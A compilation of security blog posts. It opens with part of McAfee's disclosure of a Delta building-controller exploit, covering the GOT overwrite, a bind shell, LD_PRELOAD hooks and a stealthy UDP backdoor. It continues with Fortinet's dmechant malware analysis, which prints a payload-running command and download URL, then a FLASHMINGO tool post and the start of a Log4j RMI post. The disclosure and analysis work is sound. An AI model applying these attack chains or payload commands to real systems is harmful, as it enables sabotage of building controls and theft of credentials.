Piecing Everything Together With a firm understanding of the vulnerability, exploit, and the shellcode needed we could now attempt exploitation.
Looking at the sequence of packets used to cause this attack, it is not a single packet attack, but a multiple packet attack.
The initial buffer overflow is contained in the large malformed packet, so what data do we build into it?
This packet is overwriting memory but not providing control over execution; therefore, this can be considered the “setup” or “staging” packet.
This is where memcpy will look for the address of the destination buffer for our last packet.
The address we want to overwrite goes in this packet followed by our shellcode.
As explained above, the address we are looking to overwrite is the address of the scDecodeBACnetUDP function pointer in the GOT minus one, to ensure the address isn’t 4-byte aligned.
By repairing the last byte of the previous function pointer and overwriting this address, we can gain execution control.
The large malformed packet contains “where” we want to “write” to and puts our shellcode into memory yet does not contain “what” we want to write.
The “what”, in this case, is the address of our shellcode, so our last packet needs to contain this address.
The final challenge is deciding where in the last packet the address belongs.
Recall from the core dump shown previously that the crash happens on memcpy attempting to write the value 0x81 to the bad address.
0x81 is the first byte of the BVLC layer, indicating this where our address needs to go within the last packet to ensure that only the address we want is overwritten.
We also need to ensure there are not any bytes after our address, otherwise we will continue to overwrite the GOT past our target address.
Since this application is a multi-threaded application, this could cause the application to crash before our shellcode has a chance to execute.
Since the BVLC layer is typically how a packet is identified as a BACnet packet, a potential problem with altering this layer is that the last packet will no longer look like a BACnet packet.
If this is the case, will the application still ingest the packet?
The team tested this and discovered that the application will ingest any broadcast packet regardless of type, since the vulnerable code is executed before the code that validates the packet type.
Taking everything into account and sending the series of 97 packets, we were able to successfully exploit the building manager by creating a bind shell.
Below is a video demonstrating this attack: A Real-world Scenario Although providing a root shell to an attacker proves the vulnerability is exploitable, what can an attacker do with it?
A shell by itself does not prove useful unless an attacker can control the normal operation of the system or steal valuable data.
In this case, there is not a lot of useful data stored on the device.
Someone could download information about how the system is configured or what it’s controlling, which may have some value, but this will not hold significant impact on its own.
It is also plausible to delete essential system files via a denial-of-service attack that could easily put the target in an unusable state, but pure destruction is also of low value for various reasons.
First, as mentioned previously, the device has a backup image that it will fall back to if a failure occurs during the boot process.
Without physical access to the device, an attacker wouldn’t have a clear idea of how the backup image differs from the original or even if it is exploitable.
If the backup image uses a different version of the firmware, the exploit may no longer work.
Perhaps more importantly, a denial-of-service attack suffers from its inherent lack of subtlety.
If the attack immediately causes alarms to go off when executed, the attacker can expect that their persistence in the system will be short-lived.
What if the system could be controlled by an attacker while being undetected?
This scenario becomes more concerning considering the type of environments controlled by this device.
Normal Programming Controlling the standard functions of the device from just a root shell requires a much deeper understanding of how the device works in a normal setting.
Typically, the Delta eBMGR is programmed by an installer to perform a specific set of tasks.
These tasks can range from managing access control, to building lighting, to HVAC, and more.
Once programmed, the controller is connected to several external input/output (I/O) modules.
These modules are utilized for both controlling the state of an attached device and relaying information back to the manager.
To replicate these “normal conditions”, we had a professional installer program our device with a sample program and attach the appropriate modules.
Figure 27 shows how each component is connected in our sample programming.
For our initial testing, we did not actually have the large items such as the pump, boiler and heating valve.
The state of these items can be tracked through either LEDs on the modules or the touchscreen interface, hence it was unnecessary for us to acquire them for testing purposes.
Despite this, it is still important to note which type of input or output each “device”, virtual or otherwise, is connected to on the modules.
Figure 27 The programming to control these devices is surprisingly simple.
Essentially, based on the inputs, an output is rendered.
Figure 28 shows the programming logic present on the device during our testing.
Figure 28
There are three user-defined software variables: “Heating System”, “Room Temp Spt”, and “Heating System Enable Spt”.
Here, “spt” indicates a set point.
These can be defined by an operator at run time and help determine when an output should be turned on or off.
The “Heating System” binary variable simply controls the on/off state of the system.
Controlling the Device Like when we first started looking for vulnerabilities, we want to ensure our method of controlling the device is not dependent on code which could vary from controller to controller.
Therefore, we want to find a method that allows us to control all the I/O devices attached to a Delta eBMGR, ensuring we are not dependent on this device’s specific programming.
As on any Linux-based system, the installer-defined programming at its lowest level utilizes system calls, or functions, to control the attached hardware.
By finding a way to manipulate these functions, we would therefore have a universal method of controlling the modules regardless of the installer programming.
A very common way of gaining this type of control when you have root access to a system is through the use of function hooking.
The first challenge for this approach is simply determining which function to hook.
In our case, this required an extensive amount of reverse engineering and debugging of the system while it was running normally.
To help reduce the scope of functions we needed to investigate, we began by focusing our attention on controlling binary output (BO).
Our first challenge was how to find the code that handles changing the state of a binary output.
A couple of key factors helped point us in the right direction.
First, the documentation for the controller indicates the devices talk to the I/O modules over a Controller Area Network Bus (CAN bus), which is common for PLC devices.
As previously seen, the Delta binaries all have symbols included.
Thus, we can use the function names provided in the binaries to help reduce the code surface we need to look at – IDA tells us there are only 28 functions with “canio” as the first part of their name.
Second, we can assume that since changing the state of a BO requires a call to physical hardware, a Linux system call is needed to make that change.
Since the device is making a change to an IO device, it is highly likely that the Linux system call used is “ioctl”.
When cross-referencing the functions that start with “canio” and that call “ioctl”, our prior search space of 28 drops to 14.
One function name stood out above the rest: “canioWriteOutput”.
The decompiled version of the function has been reproduced in Figure 29.
Figure 29 Using this hypothesis, we set a break point on the call to “ioctl” inside canioWriteOutput and use the touchscreen to change the state of one of the binary outputs from “off” to “on”.
Our breakpoint was hit!
Single stepping over the breakpoint, we were able to see the correct LED light up, indicating the output was now on.
Now knowing the function we needed to hook, the question quickly became: How do we hook it?
There are several methods to accomplish this task, but one of the simplest and most stable is to write a library that the main binary will load into memory during its startup process, using an environment variable called LD_PRELOAD.
If a path or multiple paths to shared objects or libraries are set in LD_PRELOAD before executing a program, that program will load those libraries into its memory space before any other shared libraries.
This is significant, because when Linux resolves a function call, it looks for function names in the order in which the libraries are loaded into memory.
Therefore, if a function in the main Delta binary shares a name and signature with one defined in an attacker-generated library that is loaded first, the attacker-defined function will be executed in its place.
As the attacker has a root shell on the device, it is possible for them to modify the init scripts to populate the LD_PRELOAD variable with a path to an attacker-generated library before starting the Delta software upon boot, essentially installing malware that executes upon reboot.
Using the cross-compile toolchain created in the early stages of the project, it was simple to test this theory with the “library” shown in Figure 30.
Figure 30 The code above doesn’t do anything meaningful, but it does confirm if hooking this method will work as expected.
We first defined a function pointer using the same function prototype we saw in IDA for canioWriteOutput.
When canioWriteOutput is called, our function will be called first, creating an output file in the “opt” directory and giving us a place to write text, proving that our hook is working.
Then, we search the symbol table for the original “canioWriteObject” and call it with the same parameters passed into our hook, essentially creating a passthrough function.
The success of this test confirmed this method would work.
For our function hook to do more than just act as a passthrough, we needed to understand what parameters were being passed to the function and how they affect execution.
By using GDB, we could examine the data passed in during both the “on” and “off” states.
For canioWriteObject, it was discovered that the state of binary output was encoded into the second parameter passed to the function.
From there, we could theoretically control the state of the binary output by simply passing the desired state as the second parameter to the real function, leaving the other parameters as-is.
In practice, however, the state change produced using this method persisted only for a split second before the device reset the output back to its proper state.
Why was the device returning the output to the correct state?
Is there some type of protection in place?
Investigating strings in the main Delta binary and the filesystem on the device led us to discover that the device software maintains databases on the filesystem, likely to preserve device and state information across reboots.
At least one of these databases is used to store the state of binary outputs along with, presumably, other kinds of I/O devices.
With further investigation using GDB, we discovered that the device is continuously polling this database for the state of any binary outputs and then calling canioWriteOutput to publish the state obtained from the database, clobbering whatever state was there before.
Similarly, changes to this state made by a user via the touchscreen are stored in this same database.
At first, it may appear that the simplest solution would be to change the database value since we have root access to the device.
However, the database is not in a known standard format, meaning we would need to take the time to reverse this format and understand how the data is stored.
As we already have a way to hook the functions, controlling the outputs at the time canioWriteOutput is called is simpler.
To accomplish this, we updated our malware to keep track of whether the attacker has made a modification to the output or not.
If they have, the hook function replaces the correct state, stored in canioWriteOutput’s second parameter, with the state asserted by the attacker before calling the real canioWriteOutput function.
Otherwise, the hook function acts as a simple passthrough for the real deal.
A positive side effect of this, from the attacker’s perspective, is the touchscreen will show the output as the state the user last requested even after the malware has modified it.
Implementing this simple state-tracking resolved our prior issue of the attacker-asserted state not persisting.
With control of the binary output, we moved on to looking at each of the other types of inputs and outputs that can be connected to the modules.
We used a similar approach in identifying the methods used to read or write data from the modules and then hooking them.
Unfortunately, not every function was as simple as canioWriteOutput.
For example, when reversing the functions used to control analog outputs, we noticed that they utilized custom data structures to hold various information about the analog device, including its state.
As a result, we had to first reverse the layout of these data structures to understand how the analog information was being sent to the outputs before we could modify their state.
By using a combination of static and dynamic analysis, we were able to create a comprehensive malicious library to control the state of any device connected to the manager.
Taking our Malware to the Next Level Although making changes from a root shell certainly proves that an attacker can control the device once it has been exploited, it is more practical and realistic for the attacker to have complete remote control not contingent on an active shell.
Since we were already loading a library on startup to manipulate the I/O modules, we decided it would also be feasible to use that same library to create a command-and-control type infrastructure.
This would allow an attacker to just send commands remotely to the “malware” without having to maintain a constant connection or shell access.
To bring this concept to life, we needed to create a backdoor and an initialization function was probably the best place to put one.
After some digging, we found “canioInit”, a function responsible for initializing the CAN bus.
Since the CAN bus is required to make any modifications to the operation of the device, it made sense to wait for this function to be called before starting our backdoor.
Unlike some of the previous hooks mentioned, we don’t make any changes to this call or its return data; we only use it as a method to ensure our backdoor is started at the proper time.
Figure 31 When canioInit is called, we first spawn a new thread and then execute the real canioInit function.
Our new thread opens a socket on UDP port 1337 and listens for very specific commands, such as “bo0 on” to indicate to “turn on binary output 0” or “reset” to put the device back in the user’s control.
Based on the commands provided, the “set_io_state” method called by this thread activates the necessary hooking methods to control the I/O as described in the previous section.
Figure 32 With a fully functioning backdoor in the memory space of the Delta software, we had full control of the device with a realistic attack chain.
Figure 33 outlines the entire attack.
Figure 33
The entire process above, from sending out the malicious packets to gaining remote control, takes under three minutes, with the longest task being the reboot.
Once the attacker has established control, they can operate the device without impacting what information the user is provided, allowing the attacker to stay undetected and granting them ample opportunity to cause serious damage, depending on what kind of hardware the Delta controller manages.
Real World Impact
What is the impact of an attack like this?
These controllers are installed in multiple industries around the world.
Via Shodan, we have observed nearly 600 internet-accessible controllers running vulnerable versions of the firmware.
We tracked eBMGR devices from February 2019 to April 2019 and found that there were a significant number of new devices available with public IP addresses.
As of early April 2019, 492 eBMGR devices remained reachable via internet-wide scans using Shodan.
Of those found, a portion are almost certainly honeypots based on user-applied tags found in the Shodan data, leaving 404 potentially vulnerable victims.
If we include other Delta Controls devices using the same firmware and assume a high likelihood they are vulnerable to the same exploit, the total number of potential targets balloons to over 1600.
We tracked 119 new internet connected eBMGR devices since February 2019; however, these were outpaced by the 216 devices that have subsequently gone offline.
We believe this is a combination of standard practice for ICS systems administrators to connect these devices to the Internet, coupled with a strategy by the vendor (Delta Controls) proactively reaching out to customers to reduce the internet-connected footprint of the vulnerable devices.
Most controllers appear to be in North America with the US accountable for 53% of online devices and Canada accounting for 35%.
It is worth noting the fact that in some cases the IP address, and hence the geographic location of the device from Shodan, is traced back to an ISP (Internet Service Provider), which could result in skewed findings for locations.
Some industries seem more at risk than others given the accessibility of devices.
We were only able to map a small portion of these devices to specific industries, but the top three categories we found were Education, Telecommunications, and Real Estate.
Education included everything from elementary schools to universities.
In academic settings, the devices were sometimes deployed district-wide, in numerous facilities across multiple campuses.
One example is a public-school system in Canada where each school building in the district had an accessible device.
Telecommunications was comprised entirely of ISPs and/or phone companies.
Many of these could be due to the ISPs being listed as a service provider.
The real estate category generally included office and apartment buildings.
From available metadata in the search results, we also managed to find instances of education, healthcare, government, food, hospitality, real estate, child care and financial institutions using the vulnerable product.
With a bit more digging, we were easily able to find other targets through publicly available information.
While it is not common practice to post sensitive documents online, we’ve found many documents available that indicate that these devices are used as part of the company’s building automation plans.
This was particularly true for government buildings where solicitations for proposals are issued to build the required infrastructure.
All-in-all we have collected around 20 documents that include detailed proposals, requirements, pricing, engineering diagrams, and other information useful for reconnaissance.
One particular government building had a 48-page manual that included internal network settings of the devices, control diagrams, and even device locations.
Redacted network diagram found on the Internet specifying ICS buildout What does it matter if an attacker can turn on and off someone’s AC or heat?
Consider some of the industries we found that could be impacted.
Industries such as hospitals, government, and telecommunication may have severe consequences when these systems malfunction.
For example, the eBMGR is used to maintain positive/negative pressure rooms in medical facilities or hospitals, where the slightest change in pressurization could have a life-threating impact due to the spread of airborne diseases.
Suppose instead a datacenter was targeted.
Datacenters need to be kept at a cool temperature to ensure they do not overheat.
If an attacker were to gain access to the vulnerable controller and use it to raise heat to critical levels and disable alarms, the result could be physical damage to the server hardware in mass, as well as downtime costs, not to mention potential permanent loss of critical data.
According to the Ponemon Institute (https://www.ponemon.org/library/2016-cost-of-data-center-outages), the average cost of a datacenter outage was as high as $740,357 in 2016 and climbing.
Microsoft was a prime example of this; in 2018, the company suffered a massive datacenter outage (https://devblogs.microsoft.com/devopsservice/?p=17485) due to a cooling failure, which impacted services for around 22 hours.
To show the impact beyond LED lights flashing, McAfee’s ATR contracted a local Delta installer to build a small datacenter simulation with a working Delta system.
This includes both heating and cooling elements to show the impact of an attack in a true HVAC system.
In this demonstration we show both normal functionality of the target system, as well as the full attack chain, end-to-end, by raising the temperature to dangerous levels, disabling critical alarms and even faking the controller into thinking it is operating normally.
The video below shows how this simple unpatched vulnerability could have devastating impact on real systems.
We also leverage this demo system, now located in our Hillsboro research lab, to highlight how an effective patch, in this case provided by Delta Controls, is used to immediately mitigate the vulnerability, which is ultimately our end goal of this research project.
Conclusion Discoveries such as CVE-2019-9569 underline the importance of secure coding practices on all devices.
ICS devices such as this Delta building manager control critical systems which have the potential to cause harm to businesses and people if not properly secured.
There are some best practices and recommendations related to the security of products falling into nonstandard environments such as industrial controls.
Based on the nature of the devices, they may not have the same visibility and process control as standard infrastructure such as web servers, endpoints and networking equipment.
As a result, industrial control hardware like the eBMGR PLC may be overlooked from various angles including network or Internet exposure, vulnerability assessment and patch management, asset inventory, and even access controls or configuration reviews.
For example, a principle of least privilege policy may be appropriate, and a network isolation or protected network segment may help provide boundaries of access to adversaries.
An awareness of security research and an appropriate patching strategy can minimize exposure time for known vulnerabilities.
We recommend a thorough review and validation of each of these important security tenants to bring these critical assets under the same scrutiny as other infrastructure.
One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape.
As per McAfee’s vulnerability public disclosure policy, McAfee’s ATR informed and worked directly with the Delta Controls team.
This partnership resulted in the vendor releasing a firmware update which effectively mitigates the vulnerability detailed in this blog, ultimately providing Delta Controls’ consumers with a way to protect themselves from this attack.
We strongly recommend any businesses using the vulnerable firmware version (571848 or prior) update as soon as possible in line with your patch policy and testing strategy.
Of special importance are those systems which are Internet-facing.
McAfee customers are protected via the following signature, released on August 6th: McAfee Network Security Platform 0x45d43f00 BACNET:
Delta enteliBUS Manager (eBMGR)
Remote Code Execution Vulnerability.
We’d like to take a minute to recognize the outstanding efforts from the Delta Controls team, which should serve as a poster-child for vendor/researcher relationships and the ability to navigate the unique challenges of responsible disclosure.
We are thrilled to be collaborating with Delta, who have embraced the power of security research and public disclosure for both their products as well as the common good of the industry.
Please refer to the following statement from Delta Controls which provides insight into the collaboration with McAfee and the power of responsible disclosure.
FortiGuard Labs Threat Research Report Affected platforms:  Microsoft Windows Impacted parties:     Windows Users Impact:
Collects sensitive information from victims’ computers Severity level:           Critical The FortiGuard Labs team was recently monitoring a new phishing campaign that uses the classic strategy of attaching a malicious Microsoft Word document to an unsolicited email that recipients were then asked to open.
However, after I performed some deep research on this phishing campaign, I realized that a fresh malware was being delivered by the Word document designed to steal crypto wallet information and credentials from the victims’ infected devices.
This malware doesn’t seem to belong to any known malware family, so we named it \"dmechant\", which is a constant string compiled in the malware sample.
In this analysis I reveal my findings on this new malware, including how it is launched by the Word document, how the executable deploys itself on the victim’s device, what kind of sensitive information it searches for, and how stolen data is sent to the attacker via SMTP protocol.
The Email Captured by FortiGuard Labs and the Word Document The spam email looks like an urgent order reminder from a purchase manager.
It asks the recipient to review the materials in the attached Word document and then reply to the email as soon as possible.
As with Word documents used in other phishing campaigns, this one includes a malicious Macro.
Once opened, Word displays a security warning bar to inform the user of the risk of opening it.
Interestingly, the content of this document is written in Spanish.
Our best guesses are that this campaign is targeting multiple regions and the wrong document was attached, or this is being done deliberately to disguise the warning.
In either case, I translated it into English using Google translate: Document created in an earlier version of Microsoft Office Word To see this content, click on \"enable editing\" from the yellow bar and then click \"Enable content\
" The malicious Macro is executed once the button Enable Content is clicked.
It has a VBA function called Document_Open().
This is a built-in function of the Macro and is called automatically when the document is opened.
It then calls other functions to extract a JS (JavaScript) code into a file (rtbdxsdcb.js) under the %temp% folder.
After that, it executes this “JS” file to finish the Macro’s work.
Figure 1.3 is a screenshot of Macro VBA code displaying the JS code to be extracted and the process of writing into local file rtbdxsdcb.js, as well as it being executed.
As you can see, it calls the Shell function to execute the command to run the JS file: cmd.exe /start
%Temp%\\rtbdxsdcb.js
Going through the JS code we find that its code is highly obfuscated.
According to my analysis, its major task is to request the URL: hxxps[:]//cdn[.]discordapp[.]com/attachments/789415918744764447/857131714521202688/blessed[.
]exe This downloads an executable file into %Temp% and saves it as erbxcb.exe, which is the payload file of this malware.
Later, it creates a WScript.
Shell object to start up the payload executable file on the infected device.
Stage I – Starting the Payload Executable File
The payload file, erbxcb.exe, is disguised as a PDF document to confuse the victim.
Figure 2.1 shows what this file looks like.
Once it starts, erbxcb.exe loads a block of compressed data from its PE file and decompresses it into a local file named %Temp%\\arwtfgxjpx80.
(This is an encrypted PE file that I will discuss shortly.)
It continues to dynamically extract a piece of code into the Stack memory and get it executed.
The Extracted Code Mainly Performs: 1.
It copies erbxcb.exe into a newly-created folder (%AppData%\\bplg) and renames “aoqn.exe”.
As you can see in Figure 2.2, it was about to call a function (call 12F675, whose arguments are the source file and the target file) to copy this executable file into a new location.
2.
It adds the copied file into the auto-run group in the system registry.
To do this, it calls several APIs, like RegOpenKeyExW() and RegSetValueExW().
Figure 2.3 is a screenshot of the system registry with the added auto-run item, making this malware able to run at Windows startup.
3.
It then loads the decompressed file %Temp%\\ arwtfgxjpx80, mentioned earlier, into memory and calls a function to decrypt it.
As a result, it is able to  extract an executable PE file in memory.
The dynamic code then creates a duplicate of the current process (erbxcb.exe) in a suspended state (by calling the API CreateProcessW() with a CREATE_SUSPENDED flag).
In this way it is able to deploy the decrypted PE file into the newly-created second process.
It then transports each section of the decrypted PE file into the second process to override its existing code.
By calling the API SetThreadContext() it is able to set the entry point of the second process to the deployed PE file, and calling ResumeThread() lets the deployed PE file run inside the second process.
The last thing the dynamic code does in the first process is to call the API ExitProcess() to exit the program.
Stage II –
Real Malware Runs Inside the Second Process
According to my analysis, the decrypted PE file running inside the second process is written in MS Visual Basic 5.0-6.0 language without any packer.
I dumped it into a local file, and Figure 3.1 shows the detection result in an analysis tool—Exeinfo PE.
When it starts, it first gathers basic information about the victim’s device, such as current System Time, Windows Version, User Name, Computer Name, and so on.
This information will be sent to the attacker along with other stolen data.
It then sets %AppData%\\Microsoft\\Windows\\Templates as its home folder, where it puts some of its temporary files, such as extracted files, collected browser profiles, and collected crypto wallet data.
Collecting Crypto Wallet Data
This malware focuses on collecting profiles of crypto wallets (if installed) from the infected device.
It has ten predefined crypto wallet software instances in the malware with a dynamically combined default profile folder path, as shown at the bottom of Figure 3.2.
This crypto wallet software includes: Zcash, Armory, Bytecoin, Jaxx Liberty, Exodus, Ethereum, Electrum, Atomic, Guarda, and Coinomi.
Once a crypto wallet is detected, it copies the entire folder containing the wallet’s profile data (including sub-folders and files—like the path listed in Figure 3.2) to its home folder (at “%AppData%\\Microsoft\\Windows\\Templates”).
It then compresses the copied profile folders into a ZIP archive—CryptoWallets.zip—which is eventually sent to the attacker as an email’s attachment.
As far as we have been able to determined, the attacker could obtain your bitcoin private key, bitcoin address, crypto wallet address and other significant information.
Collect Saved Credentials by Executing an Extracted EXE file It also extracts an EXE file (“sdedffggdg.exe”) from the Resource section, which is written by .Net
Framework.
This malware collects credentials from predefined browsers and saves the collected information into a newly-created credentials.txt file under its home folder.
Figure 3.3 is an example of a credentials.txt file, after it executes the extracted .net
EXE file(“sdedffggdg.exe”), where it shows the credentials collected from the Google Chrome browser from my testing device.
“sdedffggdg.exe” is able to collect saved credentials from the following predefined browsers (if installed):
\"Chrome\",\"Opera\",\"Yandex\",\"360 Browser\",\"Comodo Dragon\",\"CoolNovo\",\"SRWare Iron\",\"Torch Browser\",\"Brave Browser\",\"Iridium Browser\",\"7Star\", \"Amigo\",\"CentBrowser\",\"Chedot\",\"CocCoc\",\"Elements Browser\",\"Epic Privacy Browser\",\"Kometa\",\"Orbitum\",\"Sputnik\",\"uCozMedia\",\"Vivaldi\",\"Sleipnir 6\", \"Citrio\",\"Coowon\",\"Liebao Browser\",\"QIP Surf\" and \"Edge Chromium\".
Collect Other Saved Credentials Other than the browsers identified above, this malware also collects saved credentials from other installed software clients, including Outlook, CoreFTP, FileZilla, NordVPN, FoxMail, Thunderbird, and similar browsers such as Firefox, Waterfox, K-Meleon, Cyberfox, and BlackHawk.
In the memory, shown in Figure 3.4, you can see an example of the credentials just after they are collected from the application FileZilla on my research machine.
Each group of credentials consists of URL, Username, Password, and Application.
Each group of the credentials is split by “=============================”.
Stage III – Sending Collected Data to the Attacker via SMTP
This malware has a specific function used to generate and send an email that includes the stolen sensitive information using the created CDO.Message object.
Figure 4.1 shows a snippet of this function code (I only included the key code).
As you can see, it calls rtcCreateObject2() to create the CDO.Message object, which then sets the email’s From, To, Subject, TextBody, and AddAttachment fields.
Subject starts with a keyword and follows with the victim’s Computer Name and User Name.
The keyword string should be one of the “CryptoWallets” for the crypto wallet profile, “Passwords” for credentials, or “Keylogger” for key logger data (this function was not enabled in this version).
After an email is created, the CDO.Message’s Send() function is called to send the Email out to the attacker’s email address.
Below are two examples of sending these emails via SMTP protocol.
Figure 4.2 sends an email with the crypto wallets profiles in the attachment CryptoWallets.zip to the attacker.
The attachment is encoded in base64.
Figure 4.3 shows sending stolen credentials, where the text body contains basic information, stolen credentials, and its attachment includes collected browser profiles that contain saved credentials.
The attachment is also encoded in base64.
Conclusion In this post I first detailed the phishing email captured by our FortiGuard Labs and its attached Word document.
Next, I demonstrated how a JS file is extracted and executed by the Macro to download the malware’s payload executable file.
I also introduced how the malware adds itself into the auto-run group and runs in the second process.
I also demonstrated the main tasks of the malware, how and what kind of sensitive information it collects from the infected device, including crypto wallet profile information and the credentials of browsers and clients, and how that collected data is sent to the attacker using the SMTP protocol.
I mentioned many processes in this blog.
To help you better comprehend the relationship of the relevant processes initiated by the opening of the Word document, I have made a screenshot of the Process Tree, shown in Figure 5.1.
The involved processes are WINWORD.EXE, cmd.exe, WScript.exe, erbxcb.exe, and sdedffggdg.exe.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering , AntiVirus, FortiEDR and CDR (content disarm and reconstruction) services, as follows:
The downloading URL has been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The Word document and downloaded executable file are detected as \" VBS/Agent.4885!tr \" and \" W32/Kryptik.
J!tr \" and are blocked by the FortiGuard AntiVirus service.
FortiMail users are protected by FortiGuard AntiVirus, which detects the original Word document as a malicious attachment in the phishing email, and further protected with the CDR service, which can be used to neutralize the threat of any macros within Office documents.
FortiEDR detects the downloaded executable file as malicious based on its behavior.
IOCs URLs: hxxps[:]//cdn[.]discordapp[.
]com/attachments/789415918744764447/857131714521202688/blessed.exe Sample SHA-256: [Ncc June Purchase -Contract 0262320216486488574.doc] 105D9496D4F80AE5EF3C7642F55117B65A10398AFE5FF9C30D706FA9873CFD6A [erbxcb.exe or aoqn.exe] 9C7023EFB920442DFD73D96D303A1B2CFB53A727F2B6B55DE8B4D25BC90FE95E Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
Adobe Flash is one of the most exploited software components of the last decade.
Its complexity and ubiquity make it an obvious target for attackers.
Public sources list more than one thousand CVEs being assigned to the Flash Player alone since 2005.
Almost nine hundred of these vulnerabilities have a Common Vulnerability Scoring System (CVSS) score of nine or higher.
After more than a decade of playing cat and mouse with the attackers, Adobe is finally deprecating Flash in 2020.
To the security community this move is not a surprise since all major browsers have already dropped support for Flash.
A common misconception exists that Flash is already a thing of the past; however, history has shown us that legacy technologies linger for quite a long time.
If organizations do not phase Flash out in time, the security threat may grow beyond Flash's end of life due to a lack of security patches.
As malware analysts on the FLARE team, we still see Flash exploits within malware samples.
We must find a compromise between the need to analyse Flash samples and the correct amount of resources to be spent on a declining product.
To this end we developed FLASHMINGO , a framework to automate the analysis of SWF files.
FLASHMINGO enables analysts to triage suspicious Flash samples and investigate them further with minimal effort.
It integrates into various analysis workflows as a stand-alone application or can be used as a powerful library.
Users can easily extend the tool's functionality via custom Python plug-ins.
Background: SWF and ActionScript3 Before we dive into the inner workings of FLASHMINGO, let’s learn about the Flash architecture.
Flash’s SWF files are composed of chunks, called tags , implementing a specific functionality.
Tags are completely independent from each other, allowing for compatibility with older versions of Flash.
If a tag is not supported, the software simply ignores it.
The main source of security issues revolves around SWF’s scripting language: ActionScript3 (AS3).
This scripting language is compiled into bytecode and placed within a Do ActionScript ByteCode ( DoABC ) tag.
If a SWF file contains a DoABC tag, the bytecode is extracted and executed by a proprietary stack-based virtual machine (VM), known as AVM2 in the case of AS3, shipped within Adobe’s Flash player.
The design of the AVM2 was based on the Java VM and was similarly plagued by memory corruption and logical issues that allowed malicious AS3 bytecode to execute native code in the context of the Flash player.
In the few cases where the root cause of past vulnerabilities was not in the AVM2, ActionScript code was still necessary to put the system in a state suitable for reliable exploitation.
For example, by grooming the heap before triggering a memory corruption.
For these reasons, FLASHMINGO focuses on the analysis of AS3 bytecode.
Tool Architecture FLASHMINGO leverages the open source SWIFFAS library to do the heavy lifting of parsing Flash files.
All binary data and bytecode are parsed and stored in a large object named SWFObject .
This object contains all the information about the SWF relevant to our analysis: a list of tags, information about all methods, strings, constants and embedded binary data, to name a few.
It is essentially a representation of the SWF file in an easily queryable format.
FLASHMINGO is a collection of plug-ins that operate on the SWFObject and extract interesting information.
Figure 1 shows the relationship between FLASHMINGO, its plug-ins, and the SWFObject .
Figure 1: High level software structure
Several useful plug-ins covering a wide range of common analysis are already included with FLASHMINGO, including: Find suspicious method names.
Many samples contain method names used during development, like “run_shell” or “find_virtualprotect”.
This plug-in flags samples with methods containing suspicious substrings.
Find suspicious constants.
The presence of certain constant values in the bytecode may point to malicious or suspicious code.
For example, code containing the constant value 0x5A4D may be shellcode searching for an MZ header.
Find suspicious loops.
Malicious activity often happens within loops.
This includes encoding, decoding, and heap spraying.
This plug-in flags methods containing loops with interesting operations such as XOR or bitwise AND.
It is a simple heuristic that effectively detects most encoding and decoding operations, and otherwise interesting code to further analyse.
Retrieve all embedded binary data.
A decompiler plug-in that uses the FFDEC Flash Decompiler .
This decompiler engine, written in Java, can be used as a stand-alone library.
Since FLASHMINGO is written in Python, using this plug-in requires Jython to interoperate between these two languages.
Extending FLASHMINGO With Your Own Plug-ins FLASHMINGO is very easy to extend.
Every plug-in is located in its own directory under the plug-ins directory.
At start-up FLASHMINGO searches all plug-in directories for a manifest file (explained later in the post) and registers the plug-in if it is marked as active.
To accelerate development a template plug-in is provided.
To add your own plug-in, copy the template directory, rename it, and edit its manifest and code.
The template plug-in’s manifest, written in YAML, is shown below: ``` # This is a template for easy development name : Template active : no description : copy this to kickstart development returns : nothing ``` The most important parameters in this file are: name and active .
The name parameter is used internally by FLASHMINGO to refer to it.
The active parameter is a Boolean value (yes or no) indicating whether this plug-in should be active or not.
By default, all plug-ins (except the template) are active, but there may be cases where a user would want to deactivate a plug-in.
The parameters description and returns are simple strings to display documentation to the user.
Finally, plug-in manifests are parsed once at program start.
Adding new plug-ins or enabling/disabling plug-ins requires restarting FLASHMINGO.
Now for the actual code implementing the business logic.
The file plugin.py contains a class named Plugin ; the only thing that is needed is to implement its run method.
Each plug-in receives an instance of a SWFObject as a parameter.
The code will interact with this object and return data in a custom format, defined by the user.
This way, the user's plug-ins can be written to produce data that can be directly ingested by their infrastructure.
Let's see how easy it is to create plug-ins by walking through one that is included, named binary_data .
This plugin returns all embedded data in a SWF file by default.
If the user specifies an optional parameter pattern then the plug-in searches for matches of that byte sequence within the embedded data, returning a dictionary of embedded data and the offset at which the pattern was found.
First, we define the optional argument pattern to be supplied by the user (line 2 and line 4): Afterwards, implement a custom run method and all other code needed to support it: This is a simple but useful plugin and illustrates how to interact with FLASHMINGO.
The plug-in has a logging facility accessible through the property “ml” (line 2).
By default it logs to FLASHMINGO’s main logger.
If unspecified, it falls back to a log file within the plug-in’s directory.
Line 10 to line 16 show the custom run method, extracting information from the SWF’s embedded data with the help of the custom _inspect_binary_data method.
Note the source of this binary data: it is being read from a property named “swf”.
This is the SWFObject passed to the plug-in as an argument, as mentioned previously.
More complex analysis can be performed on the SWF file contents interacting with this swf object.
Our repository contains documentation for all available methods of a SWFObject .
Conclusion Even though Flash is set to reach its end of life at the end of 2020 and most of the development community has moved away from it a long time ago, we predict that we’ll see Flash being used as an infection vector for a while.
Legacy technologies are juicy targets for attackers due to the lack of security updates.
FLASHMINGO provides malware analysts a flexible framework to quickly deal with these pesky Flash samples without getting bogged down in the intricacies of the execution environment and file format.
Find the FLASHMINGO tool on the FireEye public GitHub Repository .
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In a previous post , we discussed the Log4j vulnerability CVE-2021-44228 and how the exploit works when the attacker uses a Lightweight Directory Access Protocol (LDAP) service to exploit the vulnerability.
Most of the initial attacks observed by Juniper Threat Labs were using the LDAP JNDI vector to inject code in the victim’s server.
Since then, we’ve begun to see some threat actors shift towards using the Remote Method Invocation (RMI) API.
In this post, we will describe one such attack and will discuss in detail how the attack vector leads to RCE (Remote Code Execution).
RMI is a mechanism that allows an object residing in one Java Virtual Machine (JVM) to access or invoke an object running on another JVM.
To facilitate this interaction, the local JVM may require Java bytecode related to the remote object.
This code is downloaded from a specified remote URL and loaded into the local JVM.
